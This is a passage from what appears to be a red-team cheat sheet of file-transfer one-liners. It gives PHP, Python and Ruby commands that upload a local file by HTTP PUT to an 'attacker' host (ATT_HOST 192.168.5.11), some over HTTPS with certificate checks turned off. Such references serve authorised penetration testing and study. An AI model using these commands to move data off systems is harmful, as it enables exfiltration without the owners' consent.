3. [CLIENT] upload file
export URL=http://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(php -r '$a=array("http"=>array("method"=>"PUT","content"=>file_get_contents(getenv("LFILE")))); $c=stream_context_create($a); $res=@file_get_contents(getenv("URL"),false,$c); echo $res;'); echo "[*] REMOTE MD5 (SERVER): $res";
NOTE: if using HTTPS, replace http
with https
1. [CLIENT] open terminal session
(open terminal window)
2. [CLIENT] specify file transfer parameters
export ATT_HOST=192.168.5.11;
export ATT_PORT=443;
export ATT_PATH=/;
export LFILE=testfile_200MB;
3. [CLIENT] upload file
export URL=https://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(php -r '$a=array("ssl"=>array("verify_peer"=>false,"verify_peer_name"=>false,),"http"=>array("method"=>"PUT","content"=>file_get_contents(getenv("LFILE")))); $c=stream_context_create($a); $res=@file_get_contents(getenv("URL"),false,$c); echo $res;'); echo "[*] REMOTE MD5 (SERVER): $res";
https://linux.die.net/man/1/python
TESTED ON: Kali 2023.2
NOTE: uses HTTP PUT
- works for both Python 2 and Python 3
1. [CLIENT] open terminal session
(open terminal window)
2. [CLIENT] specify file transfer parameters
export ATT_HOST=192.168.5.11;
export ATT_PORT=80;
export ATT_PATH=/;
export LFILE=testfile_200MB;
3. [CLIENT] upload file
export URL=http://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(python -c 'from os import environ as e; import requests; url=e["URL"]; file=e["LFILE"]; r=requests.put(url,data=open(file,"rb")); print(r.text);'); echo "[*] REMOTE MD5 (SERVER): $res";
NOTE: if using HTTPS, replace http
with https
1. [CLIENT] open terminal session
(open terminal window)
2. [CLIENT] specify file transfer parameters
export ATT_HOST=192.168.5.11;
export ATT_PORT=443;
export ATT_PATH=/;
export LFILE=testfile_200MB;
3. [CLIENT] upload file
export URL=https://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(python -c 'from os import environ as e; import requests; url=e["URL"]; file=e["LFILE"]; r=requests.put(url,data=open(file,"rb"),verify=False); print(r.text);'); echo "[*] REMOTE MD5 (SERVER): $res";
https://linux.die.net/man/1/ruby
TESTED ON: Kali 2023.2
NOTE: uses HTTP PUT
1. [CLIENT] open terminal session
(open terminal window)
2. [CLIENT] specify file transfer parameters
export ATT_HOST=192.168.5.11;
export ATT_PORT=80;
export ATT_PATH=/;
export LFILE=testfile_200MB;
3. [CLIENT] upload file
export URL=http://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(ruby -e 'require "uri"; require "net/http"; uri=URI(ENV["URL"]); http=Net::HTTP.new(uri.host,uri.port); req=Net::HTTP::Put.new(uri.path); req.body=File.open(ENV["LFILE"],"r") {|io| io.read}; res=http.request(req); p res.body;'); echo "[*] REMOTE MD5 (SERVER): $res";
NOTE: if using HTTPS, replace http
with https
1. [CLIENT] open terminal session
(open terminal window)
2. [CLIENT] specify file transfer parameters
export ATT_HOST=192.168.5.11;
export ATT_PORT=443;
export ATT_PATH=/;
export LFILE=testfile_200MB;
3. [CLIENT] upload file
export URL=https://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(ruby -e 'require "uri"; require "net/http"; uri=URI(ENV["URL"]); https=Net::HTTP.new(uri.host,uri.port); https.use_ssl=true; https.verify_mode=OpenSSL::SSL::VERIFY_NONE; req=Net::HTTP::Put.new(uri.path); req.body=File.open(ENV["LFILE"],"r") {|io| io.read}; res=https.request(req); p res.body;'); echo "[*] REMOTE MD5 (SERVER): $res";